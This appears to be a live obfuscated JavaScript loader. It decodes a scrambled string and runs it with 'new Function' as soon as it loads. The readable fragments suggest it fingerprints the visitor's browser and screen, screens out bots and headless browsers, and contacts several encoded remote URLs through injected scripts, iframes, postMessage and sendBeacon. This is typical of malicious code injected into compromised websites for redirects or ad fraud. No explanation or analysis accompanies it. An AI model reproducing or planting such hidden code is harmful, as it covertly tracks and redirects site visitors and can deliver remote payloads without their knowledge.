h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();